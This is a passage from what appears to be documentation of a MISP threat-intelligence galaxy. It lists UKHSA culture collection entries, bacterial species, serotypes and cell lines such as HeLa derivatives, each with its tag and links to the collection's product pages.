The tag is: *misp-galaxy:ukhsa-culture-collections="HCT 116 BRCA2 -/- [46]"*

Table 28034. Table References

Links
https://www.culturecollections.org.uk/nop/product/hct-116-brca2-46

HCT 116 BRCA2 -/- [42]

The tag is: *misp-galaxy:ukhsa-culture-collections="HCT 116 BRCA2 -/- [42]"*

Table 28035. Table References

Links
https://www.culturecollections.org.uk/nop/product/hct-116-brca2-42

C-Raf KI D486A

The tag is: *misp-galaxy:ukhsa-culture-collections="C-Raf KI D486A"*

Table 28036. Table References

Links
https://www.culturecollections.org.uk/nop/product/c-raf-ki-d486a-2

DD1433

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1433"*

Table 28037. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1433

DP0002

The tag is: *misp-galaxy:ukhsa-culture-collections="DP0002"*

Table 28038. Table References

Links
https://www.culturecollections.org.uk/nop/product/dp0002

HeLa

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa"*

Table 28039. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela

Vibrio cincinnatiensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio cincinnatiensis"*

Table 28040. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-cincinnatiensis

Yersinia ruckeri

The tag is: *misp-galaxy:ukhsa-culture-collections="Yersinia ruckeri"*

Table 28041. Table References

Links
https://www.culturecollections.org.uk/nop/product/yersinia-ruckeri-10
https://www.culturecollections.org.uk/nop/product/yersinia-ruckeri-11
https://www.culturecollections.org.uk/nop/product/yersinia-ruckeri-5
https://www.culturecollections.org.uk/nop/product/yersinia-ruckeri-8
https://www.culturecollections.org.uk/nop/product/yersinia-ruckeri-4
https://www.culturecollections.org.uk/nop/product/yersinia-ruckeri
https://www.culturecollections.org.uk/nop/product/yersinia-ruckeri-2
https://www.culturecollections.org.uk/nop/product/yersinia-ruckeri-3
https://www.culturecollections.org.uk/nop/product/yersinia-ruckeri-7
https://www.culturecollections.org.uk/nop/product/yersinia-ruckeri-6

Burkholderia cenocepacia

The tag is: *misp-galaxy:ukhsa-culture-collections="Burkholderia cenocepacia"*

Table 28042. Table References

Links
https://www.culturecollections.org.uk/nop/product/burkholderia-cenocepacia-2

https://www.culturecollections.org.uk/nop/product/burkholderia-cenocepacia
https://www.culturecollections.org.uk/nop/product/burkholderia-cenocepacia-7
https://www.culturecollections.org.uk/nop/product/burkholderia-cenocepacia-6
https://www.culturecollections.org.uk/nop/product/burkholderia-cenocepacia-5
https://www.culturecollections.org.uk/nop/product/burkholderia-cenocepacia-3
https://www.culturecollections.org.uk/nop/product/burkholderia-cenocepacia-4

Rhizobium radiobacter

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhizobium radiobacter"*

Table 28043. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhizobium-radiobacter-2

Nocardia kroppenstedtii

The tag is: *misp-galaxy:ukhsa-culture-collections="Nocardia kroppenstedtii"*

Table 28044. Table References

Links
https://www.culturecollections.org.uk/nop/product/nocardia-kroppenstedtii

Actinomyces radingae

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces radingae"*

Table 28045. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-radingae

Actinomyces turicensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces turicensis"*

Table 28046. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-turicensis

Actinomyces funkei

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces funkei"*

Table 28047. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-funkei

Actinomyces europaeus

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces europaeus"*

Table 28048. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-europaeus

Bordetella holmesii

The tag is: *misp-galaxy:ukhsa-culture-collections="Bordetella holmesii"*

Table 28049. Table References

Links
https://www.culturecollections.org.uk/nop/product/bordetella-holmesii
https://www.culturecollections.org.uk/nop/product/bordetella-holmesii-2

Burkholderia pseudomallei

The tag is: *misp-galaxy:ukhsa-culture-collections="Burkholderia pseudomallei"*

Table 28050. Table References

Links
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-17
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-16
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-13
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-14
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-15
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-7
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-9
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-12

https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-11
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-10
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-8
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-6
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-5
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-3
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-2
https://www.culturecollections.org.uk/nop/product/burkholderia-pseudomallei-4

1221

The tag is: *misp-galaxy:ukhsa-culture-collections="1221"*

Table 28051. Table References

Links
https://www.culturecollections.org.uk/nop/product/1221

1184

The tag is: *misp-galaxy:ukhsa-culture-collections="1184"*

Table 28052. Table References

Links
https://www.culturecollections.org.uk/nop/product/1184

Bartonella bacilliformis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bartonella bacilliformis"*

Table 28053. Table References

Links
https://www.culturecollections.org.uk/nop/product/bartonella-bacilliformis
https://www.culturecollections.org.uk/nop/product/bartonella-bacilliformis-3

Mycobacterium chelonae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium chelonae"*

Table 28054. Table References

Links

https://www.culturecollections.org.uk/nop/product/mycobacterium-chelonae

Klebsiella aerogenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella aerogenes"*

Table 28055. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiella-aerogenes-7
https://www.culturecollections.org.uk/nop/product/klebsiella-aerogenes-2
https://www.culturecollections.org.uk/nop/product/klebsiella-aerogenes-6
https://www.culturecollections.org.uk/nop/product/klebsiella-aerogenes-5
https://www.culturecollections.org.uk/nop/product/klebsiella-aerogenes

Scardovia wiggsiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Scardovia wiggsiae"*

Table 28056. Table References

Links
https://www.culturecollections.org.uk/nop/product/scardovia-wiggsiae

Actinomyces meyeri

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces meyeri"*

Table 28057. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-meyeri

Actinomyces graevenitzii

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces graevenitzii"*

Table 28058. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-graevenitzii

Actinomyces cardiffensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces cardiffensis"*

Table 28059. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-cardiffensis

Kosakonia quasisacchari

The tag is: *misp-galaxy:ukhsa-culture-collections="Kosakonia quasisacchari"*

Table 28060. Table References

Links
https://www.culturecollections.org.uk/nop/product/kosakonia-quasisacchari

Streptomyces myrophorea

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptomyces myrophorea"*

Table 28061. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptomyces-myrophorea

Acinetobacter haemolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Acinetobacter haemolyticus"*

Table 28062. Table References

Links
https://www.culturecollections.org.uk/nop/product/acinetobacter-haemolyticus-2
https://www.culturecollections.org.uk/nop/product/acinetobacter-haemolyticus
https://www.culturecollections.org.uk/nop/product/acinetobacter-haemolyticus-4
https://www.culturecollections.org.uk/nop/product/acinetobacter-haemolyticus-3

Lactobacillus plantarum subsp. plantarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus plantarum subsp. plantarum"*

Table 28063. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-plantarum-subsp-plantarum

Enterobacter huaxiensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterobacter huaxiensis"*

Table 28064. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterobacter-huaxiensis

Salmonella enterica subsp. X

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. X"*

Table 28065. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-x

Staphylococcus pseudoxylosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus pseudoxylosus"*

Table 28066. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-pseudoxylosus

Salmonella enterica subsp. houtenae

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. houtenae"*

Table 28067. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-houtenae

Salmonella enterica subsp. houtenae serotype Houten

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. houtenae serotype Houten"*

Table 28068. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-houtenae-serotype-houten

Salmonella enterica subsp. enterica serotype Veneziana

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Veneziana"*

Table 28069. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-veneziana

Salmonella enterica subsp. enterica serotype Taksony

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Taksony"*

Table 28070. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-taksony

Salmonella enterica subsp. enterica serotype Sandiego

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Sandiego"*

Table 28071. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-sandiego-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-sandiego
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-sandiego-3

Salmonella enterica subsp. enterica serotype Pullorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Pullorum"*

Table 28072. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-pullorum-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-pullorum-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-pullorum-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-pullorum

Salmonella enterica subsp. enterica serotype Irumu

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Irumu"*

Table 28073. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-irumu

Salmonella enterica subsp. diarizonae

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. diarizonae"*

Table 28074. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-diarizonae
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-diarizonae-2

Salmonella enterica subsp. arizonae

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. arizonae"*

Table 28075. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-54
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-63
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-51
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-18
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-14

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-12
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-69
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-62
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-49
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-68
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-74
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-76
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-77
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-79
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-80
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-83
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-6
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-9
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-10
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-16
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-19
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-22
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-27
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-28
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-29
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-38
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-41
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-45
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-46
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-57
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-58
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-61
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-65
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-66
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-67
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-73
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-78
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-86
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-5

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-15
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-17
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-23
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-26
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-34
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-35
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-39
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-43
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-56
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-59
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-60
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-71
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-75
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-82
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-85
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-88
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-11
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-13
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-21
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-24
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-31
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-42
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-44
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-53
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-55
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-81
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-84
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-90
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-8
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-20
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-25
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-30

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-36
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-37
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-40
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-47
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-48
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-64
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-7
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-32
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-33
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-50
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-52
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-70
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-87
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-arizonae-89

Campylobacter jejuni

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter jejuni"*

Table 28076. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-21
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-20
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-25
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-26
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-6
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-9
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-22
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-24
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-8
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-10
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-11
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-13

https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-19
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-3
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-5
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-7
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-12
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-15
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-2
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-4
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-14
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-16
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-17
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-18

Staphylococcus equorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus equorum"*

Table 28077. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-equorum
https://www.culturecollections.org.uk/nop/product/staphylococcus-equorum-2

Salmonella enterica subsp. enterica serotype Adjame

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Adjame"*

Table 28078. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-adjame
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-adjame-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-adjame-3

Aeromonas salmonicida

The tag is: *misp-galaxy:ukhsa-culture-collections="Aeromonas salmonicida"*

Table 28079. Table References

Links
https://www.culturecollections.org.uk/nop/product/aeromonas-salmonicida-2
https://www.culturecollections.org.uk/nop/product/aeromonas-salmonicida-4
https://www.culturecollections.org.uk/nop/product/aeromonas-salmonicida-3
https://www.culturecollections.org.uk/nop/product/aeromonas-salmonicida

Chryseobacterium lactis

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium lactis"*

Table 28080. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-lactis

Enterococcus durans

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterococcus durans"*

Table 28081. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterococcus-durans-5
https://www.culturecollections.org.uk/nop/product/enterococcus-durans-3
https://www.culturecollections.org.uk/nop/product/enterococcus-durans-2
https://www.culturecollections.org.uk/nop/product/enterococcus-durans
https://www.culturecollections.org.uk/nop/product/enterococcus-durans-4

Listeria monocytogenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria monocytogenes"*

Table 28082. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-26
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-25
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-24
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-16
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-23
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-22

https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-5
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-12
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-20
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-21
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-8
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-6
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-18
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-10
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-13
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-14
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-3
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-4
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-17
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-2
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-11
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-15
https://www.culturecollections.org.uk/nop/product/listeria-monocytogenes-19

Aeromonas veronii

The tag is: *misp-galaxy:ukhsa-culture-collections="Aeromonas veronii"*

Table 28083. Table References

Links
https://www.culturecollections.org.uk/nop/product/aeromonas-veronii-2
https://www.culturecollections.org.uk/nop/product/aeromonas-veronii

Salmonella enterica subsp. enterica serotype Derby

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Derby"*

Table 28084. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-derby-3

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-derby-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-derby

Actinobacillus pleuropneumoniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus pleuropneumoniae"*

Table 28085. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-pleuropneumoniae-4
https://www.culturecollections.org.uk/nop/product/actinobacillus-pleuropneumoniae-3
https://www.culturecollections.org.uk/nop/product/actinobacillus-pleuropneumoniae-2
https://www.culturecollections.org.uk/nop/product/actinobacillus-pleuropneumoniae-5
https://www.culturecollections.org.uk/nop/product/actinobacillus-pleuropneumoniae

Nocardiopsis dassonvillei

The tag is: *misp-galaxy:ukhsa-culture-collections="Nocardiopsis dassonvillei"*

Table 28086. Table References

Links
https://www.culturecollections.org.uk/nop/product/nocardiopsis-dassonvillei
https://www.culturecollections.org.uk/nop/product/nocardiopsis-dassonvillei-2

WKD (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="WKD (HeLa derivative)"*

Table 28087. Table References

Links
https://www.culturecollections.org.uk/nop/product/wkd-hela-derivative

FL (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="FL (HeLa derivative)"*

Table 28088. Table References

Links
https://www.culturecollections.org.uk/nop/product/fl-hela-derivative

L132 (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="L132 (HeLa derivative)"*

Table 28089. Table References

Links
https://www.culturecollections.org.uk/nop/product/l132-hela-derivative

WISH (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="WISH (HeLa derivative)"*

Table 28090. Table References

Links
https://www.culturecollections.org.uk/nop/product/wish-hela-derivative

AV3 (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="AV3 (HeLa derivative)"*

Table 28091. Table References

Links
https://www.culturecollections.org.uk/nop/product/av3-hela-derivative

Chang Liver (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="Chang Liver (HeLa derivative)"*

Table 28092. Table References

Links
https://www.culturecollections.org.uk/nop/product/chang-liver-hela-derivative

HeLa 229

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa 229"*

Table 28093. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela-229

D98/AH2 Clone B (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="D98/AH2 Clone B (HeLa derivative)"*

Table 28094. Table References

Links
https://www.culturecollections.org.uk/nop/product/d98ah2-clone-b-hela-derivative

Bu25 TK-

The tag is: *misp-galaxy:ukhsa-culture-collections="Bu25 TK-"*

Table 28095. Table References

Links
https://www.culturecollections.org.uk/nop/product/bu25-tk-

EoL-1 cell

The tag is: *misp-galaxy:ukhsa-culture-collections="EoL-1 cell"*

Table 28096. Table References

Links
https://www.culturecollections.org.uk/nop/product/eol-1-cell

Staphylococcus caeli

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus caeli"*

Table 28097. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-caeli

Staphylococcus pseudintermedius

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus pseudintermedius"*

Table 28098. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-pseudintermedius
https://www.culturecollections.org.uk/nop/product/staphylococcus-pseudintermedius-2

Streptococcus infantarius

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus infantarius"*

Table 28099. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-infantarius

Streptococcus oligofermentans

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus oligofermentans"*

Table 28100. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-oligofermentans

Streptococcus ratti

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus ratti"*

Table 28101. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-ratti

Pantoea agglomerans

The tag is: *misp-galaxy:ukhsa-culture-collections="Pantoea agglomerans"*

Table 28102. Table References

Links
https://www.culturecollections.org.uk/nop/product/pantoea-agglomerans-4
https://www.culturecollections.org.uk/nop/product/pantoea-agglomerans-3
https://www.culturecollections.org.uk/nop/product/pantoea-agglomerans-2
https://www.culturecollections.org.uk/nop/product/pantoea-agglomerans

Campylobacter gracilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter gracilis"*

Table 28103. Table References

Links

https://www.culturecollections.org.uk/nop/product/campylobacter-gracilis

Campylobacter upsaliensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter upsaliensis"*

Table 28104. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-upsaliensis-2
https://www.culturecollections.org.uk/nop/product/campylobacter-upsaliensis
https://www.culturecollections.org.uk/nop/product/campylobacter-upsaliensis-9
https://www.culturecollections.org.uk/nop/product/campylobacter-upsaliensis-3
https://www.culturecollections.org.uk/nop/product/campylobacter-upsaliensis-7
https://www.culturecollections.org.uk/nop/product/campylobacter-upsaliensis-8
https://www.culturecollections.org.uk/nop/product/campylobacter-upsaliensis-6
https://www.culturecollections.org.uk/nop/product/campylobacter-upsaliensis-4
https://www.culturecollections.org.uk/nop/product/campylobacter-upsaliensis-5

Chryseobacterium indoltheticum

